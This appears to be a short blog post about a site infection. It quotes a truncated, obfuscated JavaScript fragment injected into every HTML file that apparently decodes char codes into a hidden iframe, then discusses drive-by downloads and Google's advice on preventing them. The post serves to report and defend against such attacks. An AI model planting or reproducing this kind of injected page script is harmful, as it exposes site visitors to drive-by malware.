This was appended to all html files:
var temp="",i,c=0,out=""; var if_uniq_var="tf100"; var start_time="29 Jan 2009 23:39:27"; var str="60!105!102!11 ... !97!109!101!62!"; l=str.length; while(c
Drive-by downloads are caused by URLs that attempt to exploit their visitors and cause malware to be installed and run automatically. Google's analysis of billions of URLs over a 10 month period shows that over 3 million malicious URLs, initiate drive-by downloads. Approximately 1.3% of all incoming search queries to Google’s search engine returned at least one URL labeled as malicious in the results page (checkout Google Technical Report).
Matt Cutts (Google) in his Preventing Virtual Blight presentation suggest doing some pretty basic stuff which almost anybody can apply, and I must admit creating Google alert for "Viagra" is pretty unique.